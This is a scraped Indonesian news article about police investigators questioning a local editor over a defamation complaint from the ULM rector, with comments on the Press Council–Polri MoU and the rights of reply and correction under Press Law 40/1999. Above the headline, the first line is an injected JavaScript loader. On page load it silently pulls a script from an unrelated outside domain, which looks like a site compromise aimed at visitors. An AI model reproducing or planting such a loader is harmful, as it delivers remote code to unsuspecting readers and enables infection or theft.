(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Penyidik Dit Reskrimsus Hormati MoU Dewan Pers dan Kapolri


Sebelumnya, Wakil Ketua Komisi Pengaduan Dewan Pers, Hendry Ch Bangun mengatakan, seharusnya penyidik tidak memanggil media sebelum ada koordinasi dengan Dewan Pers. “Baik bentuknya klarifikasi, meminta keterangan atau apapun itu seharusnya koordinasi dulu dengan Dewan Pers. Kita harus hormati MoU yang telah dibuat antara Dewan Pers dan Polri yang telah mengatur itu,” katanya.

Hal tersebut menurutnya untuk menjaga kemerdekaan pers dan menempatkan delik-delik pers itu diranah yang sebenarnya. “Harus difahami bahwa media sosial dan media online itu berbeda, jangan disamakan. Tempatkan delik pers itu ditempat yang seharusnya,” tandasnya.

Pimred Klikkalsel.com, Zaenal Helmi pada Jumat (27/7) lalu juga dimintai klarifikasi untuk datang memenuhi undangan Ditreskrimsus di Komplek Bina Brata, Banjarmasin. Usai menjalani pemeriksaan selama lebih 2 jam, Zainal Helmie yang juga Ketua Persatuan Wartawan Indonesia (PWI) Kalsel ini, mengatkan proses pemanggilan terhadap dirinya lebih pada upaya meminta keterangan terkait proses pemberitaan di media.

“Saya tidak diperiksa hanya lebih pada meminta keterangan bagaimana proses jurnalisme di media, misalnya bagaimana mendapatkan sumber berita, apakah media mempunyai badan hukum dan masalah kode etik jurnalis. Termasuk perbedaan antara media sosial dan media online yang berbadan hukum,” jelasnya.

Wartawan senior ini berpesan kepada jurnalis dan meda tidak perlu khawatir dalam menyikapi persoalan seperti  laporan dari Rektor ULM Sutarto Hadi. Sebab menurutnya, para wartawan yang bekerja profesional dilindungi UU Pers Nomor 40 Tahun 1999 serta Nota Kesepahaman Dewan Pers dengan Kapolri Jenderal Tito Karnavian dalam melindungi kemerdekaan pers di Indonesia.

“Dalam nota kesepahaman yang  terbaru, jelas perlindungan terhadap kebebasan pers dan polisi harus bertindak profesional. Kami juga telah menyerahkan fotokopi MoU Dewan Pers dengan Kapolri itu kepada penyidik,” tegasnya.

Sementara itu, sebelumnya Direktur Borneo Law Firm, Muhammad Pazri mengajak dalam menyikapi laporan dugaan pencemaran nama baik yang diajukan Sutarto Hadi dengan melibatkan banyak pihak, untuk berpegang pada asas yang lebih prinsipil.

“Sebagai alumni ULM, saya juga ingin mengajak untuk menjaga kebersamaan dan marwah kampus ini. Sebab persoalan ini bisa diselesaikan melalui musyarawah mufakat dan kekeluargaan. Termasuk, menjunjung tinggi UU Pers Nomor 40 Tahun 1999, terkait dengan pemberitaan di media massa khususnya media online,” jelas Muhammad Pazri, yang juga kuasa hukum guru besar Fakultas Kedokteran ULM Prof Dr Ruslan Muhyi.

Ia juga menyesalkan sepatutnya penyelesaian masalah itu, sebelum adanya upaya hukum laporan polisi bisa berdasar pada mekanisme penyelesaian, terutama terkait materi pemberitaan. Khususnya, yang dinilai merugikan pihak lain. “Ada mekanisme hak jawab seperti terdapat pada Pasal 5 ayat (2) dan hak koreksi pada Pasal 5 ayat (3) UU Pers Nomor 40 Tahun 1999 tentang Pers,” jelasnya.

Ia mengatakan, hak jawab adalah hak seseorang atau sekelompok orang untuk memberikan tanggapan atau sanggahan terhadap pemberitaan berupa fakta yang merugikan nama baiknya. Sedangkan hak koreksi adalah hak setiap orang untuk mengoreksi atau membetulkan kekeliruan informasi yang diberikan oleh pers, baik tentang dirinya maupun tentang orang lain. (ammar)

Reporter: Ammar
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

21 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

21 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

22 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

2 hari ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

2 hari ago

Pemkab Kapuas – PT Taspen Teken Kerja Sama, Bupati Wiyatno Tekankan Disiplin dan Kinerja PPPK

KANALKALIMANTAN.COM KUALA KAPUAS - Pemerintah Kabupaten Kapuas menandatangani kesepakatan bersama dan perjanjian kerja sama dengan… Read More

2 hari ago

This website uses cookies.